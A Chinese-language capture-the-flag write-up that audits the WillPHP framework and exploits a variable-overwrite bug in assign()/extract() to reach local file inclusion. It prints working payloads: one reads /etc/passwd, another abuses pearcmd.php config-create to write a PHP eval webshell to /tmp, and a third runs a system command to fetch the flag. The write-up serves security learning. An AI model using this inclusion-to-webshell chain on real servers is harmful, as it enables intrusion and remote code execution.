HXBCTF 2021 easywill

HXBCTF 2021 easywill

1.页面高亮了代码,并开启了debug。

 <?php
namespace home\controller;
class IndexController{
    public function index(){
        highlight_file(__FILE__);
        assign($_GET['name'],$_GET['value']);
        return view();
    }
}

2.直接搜索assign()函数的作用,它一般是各种框架自定义的一个方法,而大概的用途和extract()函数类似,只不过它可以覆盖数组来批量定义。而extarct()函数是存在变量覆盖的,所以这个函数也一样。

3.开始想覆盖viewphpinfo,但是才注意到它并不是一个变量而是一个常量,那就必须找代码中含有漏洞的地方。页面给出了版本,百度下载Willphp v2.1.5版本进行代码审计。

4.willphp是基于thinkphp为模板开发的一款超轻量级的MVC框架,其中一共源码大小不超过400k,没有繁琐的类库以及冗余的功能函数。在index.php中发现需要的php版本限制5.6及以上,

image-20230817110253598

5.页面输入assign(),跳转看到该函数是如何定义的(/willphp/helper.php)。

image-20230817111048959

6.这个函数库定义了一些常用的函数,跟进跳转到\wiphp\View::assign($name, $value);函数中。

namespace wiphp;
require PATH_TPLE.'/Tple.php';
class View {
	private static $_vars = [];
	public static function assign($name, $value = NULL) {
		if ($name != '') self::$_vars[$name] = $value;
	} 
	public static function fetch($file = '', $vars = []) {
		if (!empty($vars)) self::$_vars = array_merge(self::$_vars, $vars);			
		define('__THEME__', C('theme'));
		define('VPATH', (THEME_ON)? PATH_VIEW.'/'.__THEME__ : PATH_VIEW);	
		$path = __MODULE__;
		if ($file == '') {
			$file = __ACTION__;
		} elseif (strpos($file, ':')) {
			list($path,$file) = explode(':', $file);
		} elseif (strpos($file, '/')) {
			$path = '';
		}
		if ($path == '') {
			$vfile = VPATH.'/'.$file.'.html';
		} else {
			$path = strtolower($path);
			$vfile = VPATH.'/'.$path.'/'.$file.'.html';
		}	
		if (!file_exists($vfile)) {
			App::halt($file.' 模板文件不存在。');
		} else {
			define('__RUNTIME__', App::getRuntime());	
			array_walk_recursive(self::$_vars, 'self::_parse_vars'); //处理输出
			\Tple::render($vfile, self::$_vars);
		}		
	}
	//删除反斜杠
	private static function _parse_vars(&$value, $key) {
		$value = stripslashes($value);
	}
}

7.该函数就是对我们传入的键名进行赋值,这不用先看fetch()方法,在index.php中是返回了view()方法,跟进查看一下:

image-20230817111744170

8.可以发现,它就是返回调用了fetch()方法,这个时候在看fetch()方法。审计一下,两个参数都为空,那么它就会包含默认的route,就是index.html文件,很明显这个文件是存在的。于是进入else,也就是Tple::render()方法,继续跟进。

9.第一个if要文件名为jump.shtml不成立,跳到else;$sfile获取到传递参数的md5值文件名,并进行判断是否存在,不成立,跳到else。

	public static function render($vfile, $_vars = []) {
		$shtml_open = C('shtml_open');
		if (!$shtml_open || basename($vfile) == 'jump.shtml') {
			self::renderTo($vfile, $_vars);
		} else {
			$params = http_build_query(I());
			$sfile = md5(__MODULE__.basename($vfile).$params).'.shtml';
			$sfile = PATH_SHTML.'/'.$sfile;
			$ntime = time();
			$shtml_time = max(10, intval(C('shtml_time')));
			if (is_file($sfile) && filemtime($sfile) > ($ntime - $shtml_time)) {
				include $sfile;				
			} else {
				ob_start();
				self::renderTo($vfile, $_vars);
				$content = ob_get_contents();
				file_put_contents($sfile, $content);
			}
		}
	}	

10.该else调用了self::renderTo($vfile, $_vars);方法,继续跟进。同样是两个if不成立,进入最后的变量覆盖加文件包含,这个覆盖的键值对参数$_vars就是我们在最开始的View::fetch()传入的键值对参数。

	public static function renderTo($vfile, $_vars = []) {
		$m = strtolower(__MODULE__);
		$cfile = 'view-'.$m.'_'.basename($vfile).'.php';
		if (basename($vfile) == 'jump.html') {
			$cfile = 'view-jump.html.php';
		}
		$cfile = PATH_VIEWC.'/'.$cfile;
		if (APP_DEBUG || !file_exists($cfile) || filemtime($cfile) < filemtime($vfile)) {
			$strs = self::comp(file_get_contents($vfile), $_vars);
			file_put_contents($cfile, $strs);
		}
		extract($_vars);
		include $cfile;
	}	

11.很明显,这里有个文件包含漏洞,直接覆盖变量$cfile,然后尝试读取/etc/passwd,传递/?name=cfile&value=file:///etc/passwd

image-20230817120936478

12.尝试php://input读取文件输入流getshell,但是debug页面报错不能打开输入流。但是报错包含路径(include_path='.:/usr/local/lib/php'),该路径有个默认的安装插件pearcmd.php,该插件在version < PHP7.3的条件下默认安装。

13.利用该插件进行getshell,payload : ?+config-create+/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[0])?>+/tmp/shell.php,执行结果如下:

image-20230903203821948

14.操蛋的是这里明显,大小写被转义了,后面才知道需要自己手动修改一下,否则在url框中会被自动转义再发送。burp抓包修改重发,最后文件包含?name=cfile&value=/tmp/shell.php。执行命令0=system("cat /f*");即可获得flag。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值